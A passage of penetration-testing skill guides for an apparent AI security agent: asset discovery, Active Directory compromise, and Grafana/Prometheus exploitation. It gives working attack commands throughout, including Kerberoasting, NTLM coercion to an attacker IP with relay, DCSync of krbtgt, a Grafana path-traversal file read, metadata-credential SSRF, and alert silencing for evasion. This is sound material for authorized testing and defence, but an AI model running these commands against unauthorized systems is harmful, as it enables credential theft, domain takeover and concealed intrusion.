- **Shared-cert pivot**: the same cert fingerprint served on multiple IPs ties disparate assets to one owner.
- **Issuer/org pivot**: certs sharing `subject.organization`/`organizationalUnit` frequently belong to the same target.
- **Active read** catches names never submitted to public CT: `echo | openssl s_client -connect HOST:443 -servername HOST 2>/dev/null | openssl x509 -noout -text | grep -A1 'Subject Alternative Name'`
- **Internal leak signal**: SANs like `localhost`, `*.internal`, `*.svc.cluster.local`, `*.local`, or RFC1918-style names on a public cert expose internal naming and sometimes internal services fronted publicly.
### Passive DNS
- Forward-resolve every name (A/AAAA/CNAME); keep CNAME chains — they reveal third-party providers and CDNs.
- **Reverse DNS (PTR)** on discovered IPs surfaces co-located hostnames.
- **Historical/passive DNS** (SecurityTrails, VirusTotal, `chaos`, passivedns providers) recovers names that no longer resolve but may still front live infra.
### ASN & IP Ranges
- Map a known IP to its ASN and netblock: `whois -h whois.cymru.com " -v <IP>"` or a BGP/ASN lookup.
- If the org runs its own ASN, enumerate all announced prefixes and treat them as candidate assets.
- For cloud-hosted targets the IP belongs to the provider, not the org — pivot via cert/vhost instead of netblock.
## Recommended Tooling
Prefer the projectdiscovery suite (already available in the sandbox and pipeline-friendly with JSON output):
- **`subfinder`** — passive subdomain aggregation across many sources incl. CT: `subfinder -d example.com -all -recursive -silent -oJ -o subs.jsonl`
- **`tlsx`** — TLS/cert data at scale; grab SANs and issuer/org to pivot: `tlsx -l hosts.txt -san -cn -tls-version -json -o tls.jsonl`
- **`uncover`** — query Shodan/Censys/Fofa/Quake/crt.sh engines from one CLI: `uncover -q 'ssl:"Example Inc"' -e shodan,censys,fofa -json`
- **`asnmap`** — org/domain/ASN → CIDR ranges: `asnmap -d example.com -json` / `asnmap -org "Example Inc"`
- **`mapcidr`** — expand/aggregate CIDRs into host lists for probing: `mapcidr -cidr 192.0.2.0/24 -o hosts.txt`
- **`dnsx`** — fast resolution, PTR, and wildcard filtering: `dnsx -l names.txt -a -aaaa -cname -ptr -resp -json -o dns.jsonl`
- **`httpx`** — live probing + cert grab in one pass (see methodology).
- **`naabu`** — port sweep for non-HTTP services: `naabu -list hosts.txt -top-ports 100 -verify -silent`
Also useful: **`amass`** (`amass intel`/`enum` for ASN, cert, and passive sources), **`cero`** (bulk SAN extraction from IPs/ranges), and direct **crt.sh** JSON queries when no keys are configured. Cross-source results — CT + passive DNS + `subfinder` together beat any single source.
## Key Techniques
### Iterative Seed Expansion
Every new name, PTR result, CNAME target, and cert SAN becomes a fresh seed. Loop CT → SAN extraction → passive DNS → ASN/range expansion until the asset set stops growing.
### Cert-Fingerprint Pivoting
Search Censys/Shodan (or `uncover`) by a cert's `fingerprint_sha256` to find every other host presenting the same certificate — the strongest cross-asset link for tying acquisitions and shadow infra to the target.
### Naming-Convention Inference
Wildcard SANs and observed hostnames expose the org's naming scheme; generate targeted candidates from it (`<service>.<env>.example.com`) rather than blind brute force.
### IP-First Discovery
For ASN-owned ranges, sweep IPs directly with `naabu`/`httpx` and read served certs (`tlsx`) to find services that have no DNS name at all.
## Advanced Techniques
- **Active SAN harvesting** across whole ranges with `tlsx`/`cero` recovers internal hostnames never logged to public CT.
- **Favicon and response hashing** (`httpx -favicon`, hash pivots in Shodan) clusters instances of the same app across unrelated hostnames.
- **Vhost differentials**: probe a single IP with multiple `Host:` values to unmask co-located apps behind one address.
- **Historical CT/DNS diffing** highlights recently issued certs and newly appearing hosts — high-signal for fresh or misconfigured deployments.
## Consolidation & Probing
1. **Dedupe** names and IPs into one inventory; record source(s) per asset for confidence.
2. **Live probe** with `httpx`, capturing status/title/tech/server and cert SANs in one pass — each grabbed SAN feeds back as a new seed:
`httpx -l hosts.txt -sc -title -server -td -tls-grab -json -o assets.jsonl`
3. **Classify** assets by function from title/tech/path signals: app, API, marketing, auth, CI/CD, observability, storage, admin, VCS, mail. Cluster by role, not by a specific product.
4. **Port sweep** interesting hosts with `naabu` for non-HTTP services (DBs, caches, brokers, mgmt ports).
5. **Prioritize** by exposure and value, then hand each finding to the right specialist skill:
- Exposed dashboards / debug / observability / metadata leaks → `information_disclosure`
- Login/admin panels with default or weak creds → `weak_password_detection`
- Dangling DNS / unclaimed provider resources → `subdomain_takeover`
- Cloud consoles/metadata surfaces → `aws` / `gcp` / `kubernetes`
## Testing Methodology
1. **Seed** - domains, org/legal names, known IPs, email domains, code-host org
2. **Certificate transparency** - pull all logged certs per seed domain and org name (crt.sh, `uncover`)
3. **SAN/CN extraction** - parse every Subject CN and SAN with `tlsx`; each new name is a new seed
4. **Passive DNS** - resolve forward and reverse with `dnsx`; harvest historical records
5. **ASN/IP mapping** - `asnmap``mapcidr` to expand owned ranges, then sweep for live hosts
6. **Active TLS pivot** - `tlsx`/`cero` on live IPs/ports to grab SANs missing from public CT
7. **Consolidate & probe** - dedupe, `httpx` probe, classify, and route to specialists
## Validation
1. Confirm each discovered asset actually resolves and serves content (live `httpx` result, not just a passive hit)
2. Attribute assets to the target via matching cert org, shared cert fingerprint, or DNS under a seed domain
3. Deduplicate vhost aliases and CDN edges down to distinct origins so the surface is not inflated
4. Record provenance (which source produced each asset) for reproducibility
## False Positives
- CDN/edge hostnames and provider default names that are not org-owned
- Shared-hosting neighbors on the same IP (vhost co-tenancy, not the target's asset)
- Stale historical DNS entries pointing at reassigned infrastructure
- Wildcard-cert-implied hostnames that never actually resolve or serve content
## Impact
- Expanded attack surface: forgotten, staging, and internal-named hosts brute force misses
- Discovery of misconfigured or unauthenticated services fronted by leaked internal hostnames
- Attribution of shadow infra, acquisitions, and sibling domains to the target
- A prioritized, classified inventory that feeds every downstream specialist skill
## Pro Tips
1. Loop the pipeline — every SAN, PTR, and CNAME target is a new seed until the set converges.
2. crt.sh is the cheapest high-yield source (no key); Censys/Shodan via `uncover` add cert-fingerprint and vhost pivoting when keys exist.
3. Always cert-grab live hosts with `tlsx` — active SANs catch internal hostnames never sent to public CT.
4. Internal-looking SANs (`*.internal`, `*.svc.cluster.local`, staging names) are the highest-signal leads.
5. Wildcard SANs reveal naming conventions — seed targeted guesses instead of blind brute force.
6. Cluster by function, not product name, so the workflow generalizes to any exposed service.
7. Keep JSON output throughout so stages chain cleanly (`subfinder``dnsx``httpx``naabu`).
## Summary
Broad passive discovery — CT + TLS SAN pivoting + passive DNS + ASN/IP mapping, looped until convergence — finds the assets brute force misses, especially internal-named and forgotten services leaked through certificates. Build the inventory with the projectdiscovery suite, probe and classify it generically, then route each interesting asset to the specialist skill for its class.
@@ -0,0 +1,233 @@
---
name: active_directory
description: Active Directory / Kerberos domain testing covering roasting, delegation abuse, AD CS (ESC1-ESC17), NTLM coercion+relay, DACL abuse, and credential dumping
---
# Active Directory
Active Directory compromise usually comes from misconfiguration, not memory-corruption bugs: a roastable service account, a delegation flag, a vulnerable certificate template, or an over-permissive ACL turns a single low-priv domain user into Domain Admin. Almost every step needs valid domain credentials (or a foothold to coerce them), and almost every path ends at DCSync or a forged ticket. Test the identity layer — Kerberos, LDAP, NTLM, SMB, AD CS — not the marketing website in front of it.
## Attack Surface
**Core services (per domain controller)**
- Kerberos (88/tcp+udp), LDAP/LDAPS (389/636), Global Catalog (3268/3269)
- SMB (445), RPC/DCE endpoint mapper (135) + high dynamic ports, NetBIOS (137-139)
- DNS (53) — AD-integrated, often allows dynamic updates (ADIDNS)
- WinRM (5985/5986), RDP (3389), MSSQL (1433) on member servers
- AD CS: Certificate Authority + web enrollment (`/certsrv`, `/ADPolicyProvider_CEP_*`, ES/CES)
**Principals & objects**
- Users, computers (`$` accounts), gMSA/sMSA, groups, GPOs, OUs, trusts
- `servicePrincipalName`, `userAccountControl` flags, `msDS-AllowedToDelegateTo`, `msDS-AllowedToActOnBehalfOfOtherIdentity`, `msDS-KeyCredentialLink`
- DACLs on objects (GenericAll/GenericWrite/WriteDacl/WriteOwner/AddSelf)
**Trust boundaries**
- Intra-forest (parent/child), inter-forest, external, SID history
- `MachineAccountQuota` (default 10 → any user can join computer accounts)
## Reconnaissance
**Anonymous / pre-auth (no creds)**
```
# Domain + naming context from LDAP rootDSE
nmap -Pn -p 389 --script ldap-rootdse <DC>
# SMB null session / signing / OS
nmap -Pn -p445 --script "smb-os-discovery,smb2-security-mode" <DC>
enum4linux-ng -A <DC>
# Username-less user enum via Kerberos pre-auth
kerbrute userenum -d <DOMAIN> --dc <DC> users.txt
```
**Authenticated enumeration (any valid user)**
```
nxc ldap <DC> -u <USER> -p <PASS> # confirm creds + domain info
nxc smb <SUBNET> -u <USER> -p <PASS> --shares # readable/writable shares
nxc ldap <DC> -u <USER> -p <PASS> --users --groups --pass-pol
ldapdomaindump ldap://<DC> -u '<DOMAIN>\<USER>' -p <PASS>
```
**BloodHound graph (the single most valuable step)**
```
bloodhound-ce-python -d <DOMAIN> -u <USER> -p <PASS> -c All -ns <DC_IP> --zip
# or, remote SharpHound-equivalent collector:
nxc ldap <DC> -u <USER> -p <PASS> --bloodhound --collection-method All --dns-server <DC_IP>
```
Import into BloodHound (CE) and run the built-in "Shortest paths to Domain Admins" / "Owned principals" queries before touching anything else.
## Key Vulnerabilities
### Kerberos Roasting
**Kerberoasting** — any authenticated user can request a service ticket (RC4/`$krb5tgs$23$`) for any account with an SPN and crack it offline. Human-set service-account passwords are the target; machine accounts are usually uncrackable.
```
nxc ldap <DC> -u <USER> -p <PASS> --kerberoasting kerb.txt
# or impacket
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASS> -outputfile kerb.txt
hashcat -m 13100 kerb.txt wordlist.txt
```
**AS-REP Roasting** — accounts with `DONT_REQ_PREAUTH` yield a crackable `$krb5asrep$23$` blob with *no* creds needed if the username is known.
```
GetNPUsers.py <DOMAIN>/ -usersfile users.txt -no-pass -dc-ip <DC_IP>
hashcat -m 18200 asrep.txt wordlist.txt
```
**Targeted Kerberoasting** — with GenericAll/GenericWrite over a user, add an SPN, roast, then remove it.
### Delegation Abuse
- **Unconstrained** (`TRUSTED_FOR_DELEGATION`) — compromise the host, coerce a DC/DA to auth to it (PrinterBug/PetitPotam), capture their TGT from LSA, reuse it. Straight to DCSync.
- **Constrained** (`msDS-AllowedToDelegateTo`) — S4U2Self+S4U2Proxy to impersonate any user to the listed SPN; swap the SPN service class (`cifs`/`host`/`ldap`) for broader access.
- **RBCD** (`msDS-AllowedToActOnBehalfOfOtherIdentity`) — with write access over a computer object + `MachineAccountQuota>0`, create a fake computer, set RBCD, S4U to get an admin ticket for that host.
```
# RBCD chain
addcomputer.py -computer-name FAKE$ -computer-pass P@ss <DOMAIN>/<USER>:<PASS>
rbcd.py -delegate-from FAKE$ -delegate-to TARGET$ -action write <DOMAIN>/<USER>:<PASS>
getST.py -spn cifs/target.<DOMAIN> -impersonate Administrator <DOMAIN>/FAKE$:P@ss
```
### AD Certificate Services (ESC1-ESC17)
AD CS is the highest-yield modern path — one misconfigured template promotes a low-priv user to DA and survives password resets. Enumerate first, everything else follows:
```
certipy find -u <USER>@<DOMAIN> -p <PASS> -dc-ip <DC_IP> -vulnerable -stdout
```
- **ESC1** — template allows enrollee-supplied SAN + client-auth EKU → request a cert as `administrator`:
```
certipy req -u <USER>@<DOMAIN> -p <PASS> -ca <CA> -template <T> -upn administrator@<DOMAIN>
certipy auth -pfx administrator.pfx -dc-ip <DC_IP> # → NT hash / TGT
```
- **ESC8** — NTLM relay to the CA web-enrollment endpoint (coerce a DC, relay to `/certsrv`) → DC certificate → DCSync.
- **ESC others** — ESC2/3 (any-purpose/enrollment-agent), ESC4 (writable template DACL → make it ESC1), ESC6 (`EDITF_ATTRIBUTESUBJECTALTNAME2` on the CA), ESC7 (CA officer rights), ESC9/10 (weak cert mapping), ESC11 (RPC relay), ESC13 (issuance-policy→group), ESC15 (app-policy on v1 templates). `certipy find -vulnerable` flags each.
### NTLM Coercion & Relay
Force a privileged machine to authenticate to you, then relay that NTLM auth to a service that doesn't enforce signing/EPA (LDAP, AD CS, SMB).
```
# 1. Start the relay (LDAP → RBCD, or AD CS → cert)
ntlmrelayx.py -t ldap://<DC> --delegate-access --no-dump
ntlmrelayx.py -t http://<CA>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# 2. Coerce a target to authenticate
coercer coerce -u <USER> -p <PASS> -t <TARGET> -l <ATTACKER_IP>
PetitPotam.py -u <USER> -p <PASS> <ATTACKER_IP> <DC> # MS-EFSR
printerbug.py <DOMAIN>/<USER>:<PASS>@<TARGET> <ATTACKER_IP> # MS-RPRN
```
LLMNR/NBT-NS/mDNS poisoning with Responder captures NetNTLMv2 hashes on the broadcast segment for offline cracking or relay.
### DACL / Object Abuse
From BloodHound edges:
- **GenericAll/GenericWrite** on a user → targeted Kerberoast or Shadow Credentials (`msDS-KeyCredentialLink` via Certipy/pywhisker → PKINIT → NT hash).
- **WriteDacl/WriteOwner** → grant yourself GenericAll, then DCSync rights on the domain object.
- **ForceChangePassword** → reset a target's password.
- **AddMember** on a privileged group → self-add.
- **GPO edit rights** → push an immediate scheduled task / local admin to linked OUs.
```
# Shadow Credentials (no password reset needed, stealthier)
certipy shadow auto -u <USER>@<DOMAIN> -p <PASS> -account <TARGET> -dc-ip <DC_IP>
# bloodyAD for generic DACL edits
bloodyAD -u <USER> -p <PASS> -d <DOMAIN> --host <DC> add genericAll <TARGET_DN> <USER>
```
### Credential Access & Domain Dominance
- **DCSync** (with replication rights — `DS-Replication-Get-Changes*`) dumps any/all hashes incl. `krbtgt`:
```
secretsdump.py <DOMAIN>/<USER>:<PASS>@<DC> -just-dc-user krbtgt
nxc smb <DC> -u <USER> -p <PASS> --ntds # full NTDS.dit
```
- **Golden ticket** (`krbtgt` hash) / **Silver ticket** (service acct hash) / **Diamond ticket** — forge TGTs/STs for persistence.
- **Pass-the-Hash / OverPass-the-Hash / Pass-the-Ticket** — reuse NT hashes or Kerberos tickets without the plaintext.
- **LAPS / gMSA** — readable `ms-Mcs-AdmPwd` or `msDS-ManagedPassword` grants local admin / service creds.
### Known unauthenticated CVEs (patch-dependent)
- **ZeroLogon** (CVE-2020-1472) — resets the DC machine account to null, instant DA on unpatched DCs.
- **noPac** (CVE-2021-42278/42287) — sAMAccountName spoofing → impersonate DC.
- **PrintNightmare** (CVE-2021-1675/34527), **PetitPotam** (unauth MS-EFSR pre-KB5005413).
Confirm with a version/patch check before firing — these are destructive.
## Advanced Techniques
- **UnPAC-the-hash** — recover a user's NT hash from a PKINIT/cert auth (Certipy `auth` prints it).
- **sAMAccountName spoofing** chain (noPac) when `MachineAccountQuota>0` and DCs unpatched.
- **SID history injection** across trusts for cross-domain/forest escalation.
- **ADIDNS poisoning** — add wildcard/records via authenticated LDAP to intercept name resolution.
- **Timeroast** — roast computer-account passwords via NTP if the DC exposes MS-SNTP.
## Testing Methodology
1. **Foothold check** — Confirm creds work (`nxc ldap/smb`) and note privileges; note `MachineAccountQuota` and password policy.
2. **BloodHound first** — Collect + graph before manual work; mark the foothold principal as owned and read the DA paths.
3. **Low-noise credential harvest** — AS-REP roast (no auth), Kerberoast, readable LAPS/gMSA, GPP passwords in SYSVOL.
4. **AD CS sweep**`certipy find -vulnerable`; it is often the shortest path and independent of the BloodHound graph.
5. **DACL edges** — Walk each BloodHound edge from owned → high value; prefer Shadow Credentials over password resets (reversible, quieter).
6. **Delegation** — Enumerate unconstrained/constrained/RBCD; chain with coercion where a privileged auth is needed.
7. **Coercion + relay** — Only where signing/EPA is off; identify the relay target (LDAP/AD CS) first.
8. **Prove domain dominance** — DCSync `krbtgt` / a target user, then stop. Do not persist (golden ticket) on client engagements unless in scope.
## Validation
1. Show the exact misconfiguration (SPN, `userAccountControl` flag, template flags, ACE, missing patch) with the enumerating tool's raw output.
2. Demonstrate the privilege gained — a cracked service-account password, an issued certificate authenticating as a privileged user, or an NT hash from DCSync.
3. Provide the full chain: owned principal → edge/misconfig → escalation step → resulting access, with commands and evidence at each hop.
4. Tie the impact to a concrete identity (e.g. "user `svc-sql` → Domain Admins") rather than a generic "AD is misconfigured".
5. For coercion/relay, capture both the coerced authentication and the relayed action succeeding.
## False Positives
- Kerberoastable SPN on a **machine account** — password is 120-char random, effectively uncrackable; not a finding on its own.
- `certipy find` lists a template as ESC-vulnerable but enrollment rights exclude your principal (check the `Enrollment Rights` / `Requires Manager Approval` fields).
- Delegation flags present but the account is disabled or the target SPN is unreachable.
- Relay target enforces SMB/LDAP signing or channel binding (EPA) — the relay will fail; not exploitable.
- DCs fully patched — ZeroLogon/noPac/PetitPotam checks report "not vulnerable".
- "Writable" share that only exposes a redirected/quarantined path with no useful content.
## Impact
- Full domain (and often forest) compromise: read/modify all objects, all credentials, all data.
- Persistent, patch-surviving access via golden tickets, forged certificates, or SID history.
- Lateral movement to every domain-joined host (file servers, databases, hypervisors).
- Ransomware blast radius — DA is the standard pivot for domain-wide deployment.
## Pro Tips
1. BloodHound before brute force — the graph turns hours of guessing into a named path; always mark owned nodes.
2. Prefer AS-REP roasting and `certipy find` early — both are quiet and one needs no creds.
3. Shadow Credentials > password reset when you have write access: reversible, doesn't lock out the account, no plaintext needed.
4. Fix clock skew before Kerberos work: `sudo ntpdate <DC>` (or `faketime`) — `KRB_AP_ERR_SKEW` kills ticket ops.
5. Use FQDNs and set `/etc/resolv.conf` to the DC (or `--dns-server`); Kerberos and LDAP referrals break on bare IPs.
6. `nxc` (NetExec) is the CrackMapExec successor — CME is unmaintained; use `nxc` and its `--gen-relay-list`, `--bloodhound`, `-M` modules.
7. Pair with `nmap` (service/port discovery) and `authentication_jwt` skills where the domain fronts web SSO (ADFS/SAML).
## Tooling
**None of the AD tools below ship in the Strix sandbox by default** (the image is Kali-rolling but installs only web-focused tooling). Install what the task needs — the sandbox has `pipx`, `pip`, `go`, `git`, and Kali's apt repos. AD testing also requires **network reachability to the target DC/subnet**, which the default web-target sandbox usually lacks; confirm connectivity first.
```
# Python identity toolkit (impacket = GetUserSPNs/GetNPUsers/secretsdump/ntlmrelayx/getST/addcomputer/rbcd)
pipx install impacket
pipx install netexec # nxc — CME successor: ldap/smb/winrm enum, roasting, bloodhound, ntds
pipx install certipy-ad # AD CS enum + ESC1-ESC17 abuse, shadow credentials
pipx install bloodhound-ce # bloodhound-ce-python collector (BloodHound CE ingestor)
pipx install coercer # multi-protocol coercion (MS-EFSR/RPRN/DFSNM/FSRVP)
pipx install bloodyAD # DACL / LDAP object edits over LDAP
pipx install ldapdomaindump # LDAP dumper (bloodhound.py author)
go install github.com/ropnop/kerbrute@latest # kerbrute (Go) — user enum / pre-auth brute
# Kali apt packages
sudo apt-get install -y smbclient ldap-utils krb5-user enum4linux-ng responder hashcat john
```
- **NetExec (`nxc`)** — swiss-army enum/exec across smb/ldap/winrm/mssql; use for creds validation, share hunting, `--kerberoasting`, `--bloodhound`, `--ntds`.
- **impacket** — the canonical scriptable attack primitives (roasting, S4U, relay, secretsdump, ticket forging).
- **Certipy** — AD CS: `find -vulnerable`, `req`, `auth`, `shadow`, relay; covers the full ESC1-ESC17 set.
- **BloodHound CE + collector** — attack-path graphing; the first thing to run with any valid credential.
- **Responder / ntlmrelayx / Coercer / PetitPotam** — the poisoning→coercion→relay chain (needs L2 access or a coercible target).
- **hashcat / john** — offline cracking of roasted `$krb5tgs$`/`$krb5asrep$` blobs (modes `13100` / `18200`).
Humans often use GUI BloodHound and Windows-side C# tooling (SharpHound, Rubeus, Certify, PowerView); in-sandbox prefer the Python/Linux equivalents above (`bloodhound-ce-python`, impacket, Certipy, `nxc`).
## Summary
AD compromise is a graph problem: start from a valid credential, map paths with BloodHound, and chain misconfigurations — roastable accounts, delegation flags, vulnerable certificate templates, coercion+relay, and permissive DACLs — until you reach DCSync or a forged ticket. The identity plane (Kerberos/LDAP/NTLM/SMB/AD CS), not the perimeter, is where domains fall.
@@ -0,0 +1,189 @@
---
name: grafana_prometheus
description: Grafana, Prometheus, Alertmanager and exporter security testing — turning exposed observability into SSRF, credential theft, RCE, and lateral movement into the internal network
---
# Grafana & Prometheus (Observability Stack)
Observability stacks (Grafana + Prometheus + Alertmanager + Loki/Tempo/Jaeger + exporters) are among the highest-value pivots on a network. They are chronically exposed (300k+ internet-facing Grafana instances on Shodan), run with weak/no auth, hold plaintext credentials for every backend they touch, and sit in a network position that reaches internal services and cloud metadata. Treat a reachable observability endpoint not as the finding but as the **entry point**: the goal is to pivot from "monitoring is exposed" into data-source credential theft, SSRF into the internal network, cloud key compromise, RCE, and cluster/host takeover.
## Attack Surface
**Grafana** (default `:3000`)
- Web UI + REST API (`/api/*`), login, org/user management, snapshots
- Data sources: stored connection details + credentials for Prometheus, Loki, Tempo, MySQL/Postgres, Elasticsearch, InfluxDB, CloudWatch, Azure Monitor, etc.
- Data source **proxy** (`/api/datasources/proxy/...`, `/api/ds/query`) — server-side HTTP client → SSRF primitive
- Plugins (incl. Image Renderer, Infinity) — extra SSRF/RCE surface
- Alerting → contact points/webhooks (outbound HTTP, another SSRF vector)
**Prometheus** (default `:9090`)
- Query API (`/api/v1/query`, `/graph`), config/target/status endpoints, federation, admin/lifecycle API
**Alertmanager** (default `:9093`)
- Alert/silence API (`/api/v2/*`), config with receiver credentials
**Exporters / adjacent** — node_exporter (`:9100`), cAdvisor/kubelet (`:4194`/`:10250`), kube-state-metrics (`:8080`), Pushgateway (`:9091`), Loki (`:3100`), Tempo, Jaeger UI (`:16686`), Thanos/Cortex/Mimir/VictoriaMetrics
## Reconnaissance
**Fingerprint & version** (version drives which CVEs apply)
```
GET /api/health # Grafana: {"version":"...","commit":"..."}
GET /api/frontend/settings # buildInfo, enabled auth, datasource types
GET /login # Grafana login page / footer version
GET /api/v1/status/buildinfo # Prometheus version
GET /metrics # any exporter → prometheus/node/go_* series
```
**Auth posture — always test unauthenticated first**
```
GET /api/datasources # Grafana: 200 = anon/viewer has admin-ish read
GET /?orgId=1 # anonymous access enabled? lands on dashboards
GET /api/v1/targets # Prometheus: 200 = no auth
GET /api/v2/status # Alertmanager: 200 = no auth
```
**Credential entry points**
- Grafana default creds `admin:admin` (the first-login change prompt has a **Skip** button — ~1 in 5 internet-facing instances still accept it)
- Anonymous org access (`auth.anonymous`), open sign-up, guest/viewer roles
- Leaked Grafana API keys / service account tokens (`Authorization: Bearer glsa_...` / `eyJ...`) in JS bundles, git, CI logs
## Key Vulnerabilities & CVEs
### CVE-2021-43798 — Grafana pre-auth path traversal (arbitrary file read)
Grafana 8.0.0-beta1 → 8.3.0. Directory traversal through the plugin static route reads any file the process can, **no auth required**. Every install ships pre-installed plugins, so the path always exists.
```
curl --path-as-is 'http://host:3000/public/plugins/mysql/../../../../../../../../etc/passwd'
# other plugin ids that always exist: prometheus, graph, text, alertlist, table-old
```
High-value reads:
- `/etc/grafana/grafana.ini` and `conf/defaults.ini``secret_key`, admin password, SMTP/LDAP creds
- `/var/lib/grafana/grafana.db` (SQLite) → `data_source.secure_json_data` (AES-encrypted with `secret_key` → decrypt to recover backend passwords/tokens), session tokens, API key hashes
- `/proc/self/environ`, cloud credential files (`~/.aws/credentials`, k8s SA token at `/var/run/secrets/kubernetes.io/serviceaccount/token`)
### CVE-2024-9264 — Grafana SQL Expressions RCE + LFI (DuckDB)
Grafana **v11.0.011.2.x** (10.x not affected). The experimental SQL Expressions feature passes user input to the `duckdb` CLI insufficiently sanitized → command injection + arbitrary file read. Enabled by default for the API (feature-flag bug); exploitable **only if the `duckdb` binary is in Grafana's `$PATH`** (not shipped by default). Any user with **Viewer or higher** can exploit. CVSS 9.4.
- Probe: is `duckdb` present? Try the SQL Expressions query path; LFI via `read_csv`/`read_blob`-style functions, command injection via DuckDB's shell/`install`/`load` extension mechanics.
- Mitigation you'll see: remove `duckdb` from PATH.
### CVE-2025-4123 — Grafana open redirect + stored XSS → SSRF chain
Double-encoded traversal (`..%2f`) into the client path/`/redirect` forwards the victim to an attacker origin that serves a malicious plugin manifest → JS executes in the trusted grafana origin (stored XSS). If the **Image Renderer** plugin is present, escalate to full-read SSRF:
```
POST /api/render?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
```
No creds needed when anonymous access is on (common in demo/lab).
### CVE-2021-39226 / CVE-2024-1313 — Grafana snapshot auth bypass
Unauthenticated view (and, with `public_mode`, delete) of the lowest-key snapshot via `/api/snapshots/:key` and `/dashboard/snapshot/:key`; CVE-2024-1313 lets a user in a *different org* delete snapshots by view key. Walk snapshot IDs to harvest dashboard data / leaked query values.
### Prometheus / Alertmanager — exposure is the vuln (no auth by default)
Prometheus and Alertmanager ship with **no authentication**; the docs explicitly say do not expose them. There is rarely a CVE — reachability itself is the finding, and the payoff is recon + credential leakage + pivoting (below).
## Pivoting: Observability → Deeper Compromise
This is the core value. Chain each exposure into something that matters. Always articulate the pivot in the finding, not just the exposed endpoint.
### 1. Grafana data-source proxy → full-read SSRF (internal net + cloud metadata)
Grafana OSS ships a **no-op URL validator** and an **empty `data_source_proxy_whitelist`** (empty = allow all). The proxy resolves the proxied path against the **selected data source's configured base URL**, so to reach an arbitrary host you must first create (or edit) a data source whose URL is the internal/metadata target — this needs data-source write permission (Editor/Admin, or any role granted `datasources:create`/`:write`). Reusing an ordinary Prometheus data-source id and appending a metadata path just hits Prometheus, not the metadata service — do not report that as SSRF. Once a data source points at the target, the proxy issues the request server-side and returns the **full response body**.
```
# Step 1: create/edit a data source with an attacker-chosen base URL, e.g.
POST /api/datasources {"name":"x","type":"prometheus","access":"proxy",
"url":"http://169.254.169.254"} # returns the new <id>
# Step 2: relay through THAT data source's id (path appended to its base URL):
GET /api/datasources/proxy/<id>/latest/meta-data/iam/security-credentials/<role> # AWS IMDSv1
# GCP: base url http://metadata.google.internal + header Metadata-Flavor: Google
# → /computeMetadata/v1/instance/service-accounts/default/token
# Internal APIs, k8s API server, admin panels, other cloud services (one DS per host)
```
Pivot: metadata creds → cloud account; internal API reads → data; network mapping → next target. Also test the **alerting contact-point/webhook** (attacker-controlled outbound URL) and plugin SSRFs (e.g. Infinity CVE-2025-8341) as independent vectors. The **Image Renderer** is an SSRF vector too, but not via an arbitrary-URL proxy: it renders Grafana dashboard/panel render routes (`/render/d-solo/...`), so the SSRF arises when a render request is coerced to fetch an internal URL (e.g. chained with CVE-2025-4123), not from a `?url=` parameter.
### 2. Grafana admin → harvest every backend credential
Once authenticated (default creds, anon-admin, leaked token, or after CVE-2021-43798):
```
GET /api/datasources # host, port, db, user for 515 backends
GET /api/admin/settings # SMTP, LDAP bind, OAuth secrets, DB DSN (grafana.ini runtime)
```
Grafana stores backend passwords/tokens encrypted (`secureJsonData`) — the API won't echo them, but you can (a) use the data source proxy to **query the backend directly through Grafana** (no plaintext needed), or (b) decrypt `grafana.db` `secure_json_data` with the leaked `secret_key` (from grafana.ini) offline. Each recovered credential (Postgres, MySQL, Elasticsearch, CloudWatch/Azure keys) is a fresh pivot into that system.
### 3. Prometheus config/targets → leaked scrape credentials + inventory
```
GET /api/v1/status/config # loaded prometheus.yml
GET /api/v1/targets # every scrape target + discovery metadata labels
```
Prometheus renders secret-typed fields (`basic_auth.password`, `authorization.credentials`, bearer tokens, OAuth client secrets — including inside `remote_write`/`remote_read`) as `<secret>` in the config response, so do **not** report those as leaked unless the actual value is shown. What genuinely leaks: **usernames** (`basic_auth.username`), and — critically — **credentials embedded in target/endpoint URLs** (`https://user:pass@host/...`), which are *not* masked. `remote_write`/`remote_read` blocks still reveal internal backend endpoints (Grafana Cloud/Cortex/Mimir/Thanos hosts) and usernames even with secrets redacted. `kubernetes_sd_configs` and cloud SD expose internal DNS and can surface creds via URL fields. Target lists + `__meta_*`/`__address__` labels = a free internal network map (hostnames, ports, k8s namespaces, cloud instance IDs).
### 4. PromQL / metrics → internal topology, versions → known-CVE targeting
Metrics are a recon goldmine. Query without auth:
```
GET /api/v1/query?query=up # every monitored service (host:port)
GET /api/v1/query?query=node_uname_info # kernel/OS/host
GET /api/v1/query?query=node_dmi_info # cloud provider / hardware
GET /api/v1/query?query=node_network_info # interfaces, internal IPs/MACs
GET /api/v1/query?query=kube_pod_info # pods, namespaces, node IPs (KSM)
GET /api/v1/query?query=kube_node_info # node hostnames, kubelet/kubeproxy versions
GET /api/v1/query?query={__name__=~"..._build_info"} # exact component versions
GET /api/v1/label/__name__/values # enumerate all metric names → app inventory
GET /federate?match[]={__name__=~".%2b"} # bulk-exfil series via federation
```
Pivot: exact versions (`*_build_info`, `kube_node_info`) → map to CVEs and attack the vulnerable components; `up`/`kube_pod_info` → target list of internal services normally invisible from outside. cAdvisor/kubelet and kube-state-metrics reveal container images, args, labels (sometimes secrets in env-derived labels), and full cluster layout.
### 5. Alertmanager → credential theft, SSRF, and alert suppression (anti-forensics)
```
GET /api/v2/status # config (receiver creds often masked, structure/routes leak)
POST /api/v2/silences # unauth in default deploys → silence ALL alerts
```
- Receiver config (`alertmanager.yml`) holds **plaintext** Slack webhook URLs, PagerDuty routing keys, SMTP passwords, OpsGenie/VictorOps keys — steal via file read (CVE-2021-43798 style) or config access; reuse to spoof alerts / social-engineer on-call.
- Webhook receivers = SSRF: if you can influence the receiver URL, point it at internal endpoints.
- Silence abuse: `POST /api/v2/silences` with matcher `alertname=~".+"` for 30d suppresses security/ops alerting while you operate — call this out as a **detection-evasion** impact.
### 6. Logs/traces backends (Loki, Tempo, Jaeger) → secrets in transit
Exposed Loki (`/loki/api/v1/query_range`), Tempo, and Jaeger UI (`:16686`) frequently contain **request bodies, headers, tokens, session cookies, SQL, and stack traces** captured from real traffic. Query them for `authorization`, `password`, `token`, `set-cookie`, PII. A single logged bearer token or session cookie is a direct account/service takeover.
## Testing Methodology
1. **Discover** stack ports/services (`:3000/:9090/:9093/:9100/:3100/:16686`, `/metrics`, `/api/health`).
2. **Fingerprint versions** → shortlist applicable CVEs (43798, 9264, 4123, 39226/1313, Infinity 8341).
